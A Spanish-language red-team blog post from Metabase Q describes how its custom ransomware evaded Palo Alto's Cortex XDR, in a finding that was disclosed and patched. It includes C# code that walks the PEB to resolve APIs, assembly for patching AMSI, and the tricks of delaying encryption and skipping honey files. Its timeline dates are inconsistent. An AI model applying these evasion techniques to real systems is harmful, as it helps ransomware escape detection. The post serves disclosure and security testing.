Conozca Batuta, nuestro innovador Centro de Mando y Control de Ciberdefensa.
Ciberseguridad mágicamente sencilla.

Honey! I Bypassed el XDR con Ransomware


Por Miguel González del equipo Ocelot de Metabase Q

// Introducción

El Ransomware como Servicio (RaaS, por sus siglas en inglés) es la imagen del cibercrimen consolidado e industrializado. Se trata de un modelo de negocio entre personas que operan Ransomware y afiliadas, en el que estas últimas – tanto personas técnicas como no técnicas – pagan por lanzar ataques de Ransomware desarrollados por quienes lo crean y operan. Lo que aumenta la gravedad y peligro del RaaS, es lo fácil que resulta para aquellas personas que carecen de las habilidades, el tiempo o los conocimientos necesarios para desarrollar su propia variante de Ransomware; lanzar un ataque de forma rápida y asequible (los kits de RaaS van desde $40 hasta miles de dólares). Lo único que tienen que hacer es entra a la deep web y pagar por el servicio.

En América Latina, los casos siguen aumentando. En noviembre de 2019, los sistemas informáticos de PEMEX fueron comprometidos por un Ransomware. De acuerdo con bleeping computer, cibercriminales pedían la suma de 4.9 millones de dólares. Durante 2021, fuimos testigos de cómo filtraron gigabytes de información de múltiples instituciones mexicanas, incluyendo bancos, en la deep web,  debido a la falta de pago, como el caso en México de la Lotería Nacional para la Asistencia Pública.

RaaS es la herramienta preferida de ciberatacantes debido a su creciente alcance y sofisticación. Cibercriminales que paguen por este servicio solo tienen que hacer clic en un botón para desplegar este tipo de herramientas y comenzar a comprometer empresas alrededor del mundo. Una vez que comienzan a exfiltrar información y a cifrar documentos, el cibercrimen ganó el juego.

Sin embargo, la gran mayoría de las organizaciones piensan que nunca serán comprometidas por el cibercrimen. La realidad es que es solo cuestión de tiempo para que sufran un ciberataque. La incapacidad de detectar ciberataques y ciberamenazas, tiene efectos negativos tangibles en la rentabilidad y operatividad de las organizaciones. En Metabase Q, sabemos que para las soluciones empresariales un simple antivirus (AV, por sus siglas en inglés) no es suficiente, es preferible una solución de tipo EDR o XDR. Es ahí en donde entra nuestro equipo de Seguridad Ofensiva, Ocelot. En Ocelot, ayudamos a nuestros clientes a identificar la ausencia o falta de controles de seguridad en sus procesos, personas y tecnología con nuestro Servicio de Simulación APT para la validación de seguridad. Este tiene tres objetivos principales:

  1. Asegurarse que la tecnología pueda proteger tu negocio antes los ciberataques y las ciberamenazas más recientes
  2. Medir el Tiempo de Detección(TTD, por sus siglas en inglés) y el Tiempo de Respuesta (TTR, por sus siglasen inglés) de los equipos defensivos (Blue teams)
  3. Identificar la debilidad oausencia de controles en los procesos, personas y tecnología

Para eludir las tecnologías avanzadas, se necesita un Ransomware artesanal. Eso es precisamente lo que ofrece nuestro equipo Ocelot, y, lo que lo diferencia de cibercriminales que utilizan RaaS. El objetivo prinicipal de las simulaciones que desarrolla el equipo es evidenciar los puntos débiles de las organizaciones para mejorar su estrategia de ciberseguridad. Esta es la única forma de ir un paso adelante de cibercriminales.

En este blog, te guiaremos a través del viaje que nos permitió eludir la detección de la solución XDR de Palo Alto Networks para infectar su sistema con nuestro propio ransomware OCELocker y cifrar con éxito sus archivos.

El Ransomware OCELocker y las técnicas descritas en esta entrada del blog ya han sido bloqueadas por los agentes Cortex XDR actualizados de Palo Alto Networks. Esto incluye la version 7.6.2 del Agente Cortex XDR y versiones posteriores (actualización de contenido 380 en adelante).

// Línea del Tiempo

En primer lugar, agradecemos al equipo de PSIRT de Palo Alto Networks por su cooperación y apoyo a nuestro equipo durante todo el proceso.

  1. 12 de noviembre de 2021: Elución ejecutada con éxito en las instalaciones del cliente
  2. 16 de noviembre de 2021: Redacción, Prueba de Concepto (PoC, por sus siglas en inglés) y video compartidos con el equipo PSIRT de PANW
  3. 1ero de diciembre de 2021: El equipo de PSIRT confirmó la elución
  4. 11 de enero de 2022: PANW publica el parche y añade a Miguel González de Ocelot al Salón de la Fama de Palo Alto
  5. 28 de febrero de 2021: Metabase Q publicó este blog

// PANW XDR Probado

Version: 7.5 – Totalmente actualizada en el momento de la prueba (12 de diciembre de 2021).

// Técnicas

Antes de que el equipo empezara a desarrollar el Ransomware, investigamos cómo funciona específicamente este Endpoint XDR por debajo del capó, es decir, cómo funcionaría el motor de un coche debajo de la cubierta y, qué se podría hacer para ocultarle el malware. A continuación, se muestra un resumen de las diferentes técnicas que se utilizaron:

  • Cargadinámica de ejecutables mediante .NET reflection
  • Importación dinámica a través de PEB
  • Parcheo de Microsoft AMSI
  • Retraso en la enumeración de archivos (técnica probablemente NUEVA)
  • Identificación y omisión de archivos honey (técnica NUEVA)

// Carga Dinámica de Ejecutables

El equipo desarrolló en nuestro Laboratorio las técnicas (Cifrado, Persistencia, etc.) del Ransomware Ryuk y, para confirmar que replicamos con éxito esos indicadores, lo probamos contra Windows Defender. En la figura 2 se puede ver que nuestra replicación de Ryuk fue exitosa.

Figure 2:  Detección de nuestra implementación de Ryuk

Ahora es el momento de trabajar en las técnicas de elusión. En el primer paso, nuestro ejecutable malicioso (la variable DLL en el código de abajo) fue cargado en tiempo de ejecución a través de .NET reflection:

Assembly asm = AppDomain.CurrentDomain.Load(dll); 
var entry = asm.EntryPoint;
entry.Invoke(null, new object[] {  });

Desgraciadamente, este intento inicial fracasó como se explica en la siguiente sección.

// Importación dinámica a través de PEB

El intento de carga dinámica del ejecutable en memoria falló debido a la protección de Microsoft Antimalware Scan Interface (AMSI). Así que se decidió probar una técnica conocida para parchear este componente AMSI. Existe una amplia documentación sobre esta técnica, sin embargo, después de implementarla, el intento seguía siendo detenido por Windows Defender como «AmsiTamper.B»

Detección de Windows Defender

Esta técnica es bien conocida; por lo tanto, podría ser detectada por cualquier solución decente de Endpoint que monitoree las APIs críticas de Windows que son llamadas (conocida como técnica de API Hooking). Decidimos ocultar las llamadas a las APIs de Windows utilizando otra técnica conocida que obtiene dinámicamente las direcciones de las DLLs cargadas de un proceso para saltar a sus funciones directamente en memoria. En términos humanos, en lugar de utilizar la API de Windows para obtener la dirección de la DLL de AMSI en memoria, la encontramos manualmente. Como no utilizamos la función de la API de Windows, la solución de endpoint no detectó esta actividad.

La forma para realizar esta acción es leyendo y analizando la estructura de datos llamada Process Environment Block (PEB). Esta técnica está ampliamente documentada por lo que no vamos a entrar en los detalles en este blog.

Obtener la dirección de esta estructura PEB en memoria es tan fácil como ejecutar el siguiente código:

mov eax fs:30        ← For Windows 32 bits

o

mov rax gs:60        ← For Windows 64 bits‍

Una vez obtenida la dirección de la estructura PEB, se analiza la tabla LDR, y de cada DLL encontrada se identifican todas sus funciones en el espacio de memoria del proceso actual. En el siguiente fragmento de código se muestra esta implementación:

_LDR_DATA_TABLE_ENTRY table = (_LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(ldr_data, 
typeof(_LDR_DATA_TABLE_ENTRY));
while (true)
{

byte[] h = new byte[32];
if(table.ptr2 == IntPtr.Zero)
{
    break;
}
Marshal.Copy(table.ptr2, h, 0, 32);
IntPtr imageBase = table.ptr2;
PEHeader header = new PEHeader(imageBase);
PEHeader.IMAGE_EXPORT_DIRECTORY exports = PEHeader.FromIntPtr
(new IntPtr(imageBase.ToInt64() + header.OptionalHeader64.ExportTable.VirtualAddress));
IntPtr names = new IntPtr(imageBase.ToInt64() + exports.AddressOfNames);
byte[] nameBytes = new Byte[32];
Marshal.Copy(names, nameBytes, 0, 32);
int namesi = 0;
for (namesi = 0; namesi < exports.NumberOfNames; namesi++)
{
    var dref = new IntPtr(names.ToInt64() + 8 * namesi);
    IntPtr nameIPtr = new IntPtr(imageBase.ToInt64() + Marshal.ReadInt32(dref));
    IntPtr funcIPtr = new IntPtr(imageBase.ToInt64() + exports.AddressOfFunctions + 8 * namesi);
    var functionName = Marshal.PtrToStringAnsi(nameIPtr);
    var functAddress = new IntPtr(imageBase.ToInt64() + Marshal.ReadInt32(funcIPtr));
    if (!availableFunctions.ContainsKey(functionName))
    {
        availableFunctions.Add(functionName, functAddress);
    }
}
table = (_LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(table.InLoadOrderModuleList, 
typeof(_LDR_DATA_TABLE_ENTRY));
}‍

Con esta técnica de carga de PEB, el punto final de AV y XDR no fue capaz de identificar nuestro intento de parchear AMSI en la memoria.

// Parcheo de Microsoft AMSI

Ahora es el momento de realizar el parcheo AMSI, pero esta vez ocultando la llamada al API de Windows como se explicó en la sección anterior. Es importante mencionar que el framework .NET es un consumidor de la interfaz AMSI, a continuación se muestra un ejemplo de cómo funciona la interfaz, la idea fue tomada y ajustada de: https://gist.github.com/odzhan/ac6d8331b9fc950da21f8ab4ba4ea785#file-amsiscan-c

#include 
#include 
#include 
#include 

#include 

typedef HRESULT(WINAPI *AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT *amsiContext);

typedef HRESULT(WINAPI *AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, 
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result);

typedef void(WINAPI *AmsiUninitialize_t)(HAMSICONTEXT amsiContext);

bool IsMalicious(const char *file_path)
{
    AmsiInitialize_t _AmsiInitialize;
    AmsiScanBuffer_t _AmsiScanBuffer;
    AmsiUninitialize_t _AmsiUninitialize;
    HMODULE amsi;
    
    HANDLE file_map;
    HANDLE mem_view;
    AMSI_RESULT amsi_result;
    HAMSICONTEXT ctx;
    HANDLE file;
    HRESULT hr = -1;
    DWORD size, high;
    bool malware = false;
    amsi = LoadLibrary((LPCSTR) “amsi”);
    _AmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsi, “AmsiInitialize”);
    _AmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(amsi, “AmsiScanBuffer”);
    _AmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsi, “AmsiUninitialize”);
    if (_AmsiInitialize == NULL || _AmsiScanBuffer == NULL || _AmsiUninitialize == NULL)
    {
        std::cout << “Error while retrieving AMSI component.\n”;
        return false;
    }

    file = CreateFile((LPCSTR)file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 
    FILE_ATTRIBUTE_NORMAL, NULL);
    if (file != INVALID_HANDLE_VALUE)
    {
        size = GetFileSize(file, &high);
        if (size != 0)
        {
            file_map= CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
            if (file_map!= NULL)
            {
                mem_view = MapViewOfFile(file_map, FILE_MAP_READ, 0, 0, 0);
                if (mem_view != NULL)
                {
                    hr = _AmsiInitialize(L”AMSI Example”, &ctx);
                    if (hr == S_OK)
                    {
                      hr = _AmsiScanBuffer(ctx, mem_view, size, NULL, 0, &amsi_result);
                      if (hr == S_OK)
                      {
                       malware = (AmsiResultIsMalware(amsi_result) ||
                       AmsiResultIsBlockedByAdmin(amsi_result));
                      }
                      _AmsiUninitialize(ctx);
                    }
                    UnmapViewOfFile(mem_view);
                }
                CloseHandle(file_map);
            }
        }
        CloseHandle(file);
    }
    return malware;
}

int main(int argc, char **argv)
{

    int mal = IsMalicious(argv[1]);
    if(mal)
    {
        std::cout << “The file is malicious” << std::endl;
    }
    else 
    {
        std::cout << “The file is not malicious” << std::endl;
    }
    return 0;
}

Lo que esto significa es que la llamada a la interfaz se hizo en el mismo espacio de memoria que nuestro proceso. ¡Sólo tuvimos que encontrar el módulo AMSI DLL en la memoria con la técnica PEB, encontrar la función de destino, y parchear su código para evitar que la interfaz escaneara el contenido de nuestro ensamblado!

Ya casi está. En .NET no hay soporte para la ejecución de código nativo, así que el equipo tuvo que aprovechar el poder de los delegados para cargar las funciones de destino.

Una vez cargada la función objetivo, en este caso AmsiScanBuffer, utilizamos la técnica conocida para desactivar la comprobación de AMSI poniendo en cero la longitud del Buffer a escanear, de la siguiente manera:

mov edi, r8d

o

xor edi, edi       ← Sets the Amsi Buffer length to zero‍

De esta forma, cada vez que se llamaba a la función AmsiScanBuffer, la longitud del buffer a escanear era de cero bytes. Lo que significa que no hay nada que escanear.

Una vez colocado ese parche, ¡estábamos listos para cargar el ejecutable malicioso en la memoria sin ser detectados!

// Retraso en el cifrado

En este punto, estábamos a medio camino de lograr nuestro objetivo. Nuestro cargador personalizado funcionaba, es decir que podríamos cargar un ensamblado .NET malicioso en memoria sin ser detectados, ahora era el momento de ejecutar nuestro payload malicioso de Ransomware.

Aquí nos enfrentamos al análisis de comportamiento del XDR, que detectaría la enumeración y el cifrado en un corto período y lo marcaría como comportamiento de Ransomware. Introduciendo un retraso durante esta tarea de cifrado, evitamos el XDR.

// Identificación de archivos Honey

Identificamos que el XDR creaba archivos falsos, ocultos de forma aleatoria en el sistema de archivos, conocidos como archivos «honey» (acuñados derivados de «honeypot«), se colocan en el disco en tiempo de ejecución para controlar cualquier uso indiscriminado de los mismos, en este caso, el intento de cifrado. En la Figura 4 podemos ver como, al no tener en cuenta este comportamiento en un principio, el XDR informó del malware y terminó el proceso, eliminando el ejecutable del disco.

El XDR detectando el nuevo intento

En la siguiente figura, podemos ver algunos de los archivos honey que crea la XDR. Tienen nombres y extensiones aleatorias y el atributo «hidden» configurado, para evitar que se muestren en el sistema de archivos.

Archivos Honey creados

Una vez que filtramos los archivos ocultos del cifrado, ¡voilá! Pudimos cifrar archivos y bloquear la computadora sin ser detectados por el XDR.

VIDEO DE DEMOSTRACIÓN

// Recommendaciones

Los ataques de Ransomware se han convertido en el principal método utilizado por ciberatacantes de todo el mundo para obtener grandes cantidades de dinero en poco tiempo. De 2019 a la fecha, los pagos por Ransomware se han triplicado.

¿Por qué están creciendo exponencialmente losataques de Ransomware?

La facilidad para ejecutar ataques de Ransomware a través de servicios conocidos como Ransomware as a Service (RaaS) reduce las barreras de entrada. El RaaS permite a personas no técnicas contratar un servicio que les permita comprometer empresas con un mínimo esfuerzo, compartiendo los beneficios con quienes crean el servicio.

¿Cómo podemos combatir esta amenaza que ha llegado para quedarse?

En primer lugar, debemos aceptar que las organizaciones se infectarán con Ransomware tarde o temprano, a menos que realicemos cambios de forma proactiva. El paso inicial es reforzar los procesos, personas y tecnología probando los sistemas contra un ataque de Ransomware. Metabase Q ofrece un giro diferente al Ransomware como servicio a través de su servicio de simulación Advanced Persistent Threat (APT) para la validación de la seguridad. Al replicar múltiples técnicas de Ransomware como Ryuk, REvil, DarkSide, Avaddon, etc., en las redes de las organizaciones, podemos probar la calidad de respuesta de los equipos defensivos (Blue teams). Algunos de los beneficios incluyen:

  • Fortalecimiento de las capacidades de monitoreo, detección y respuesta de las organizaciones ante el Ransomware
  • Procesos: Detección de brechas y fortalecimiento de las políticas y procedimientos establecidos para responder a un incidente
  • Personas: Formación del personal del Centro de Operaciones de Seguridad (SOC, por sussiglas en inglés) en materia de respuesta a incidentes
  • Tecnología: Identificación de brechas en soluciones de seguridad: Pasarela SMTP, Endpoint,movimiento lateral, correlación de eventos, Malicious Callbacks, entre otras. ¿Tu inversión está dando los resultados esperados?
  • Generación de Indicadores de Ataque e Indicadores de Compromiso para medir el Tiempo de Detección y el Tiempo de Respuesta a estas amenazas
  • Todo el malwarese crea en los laboratorios de Ocelot. Con un control total de sus acciones maliciosas, podemos garantizar que no se produzca ningún daño en los sistemas,sea cual sea el resultado.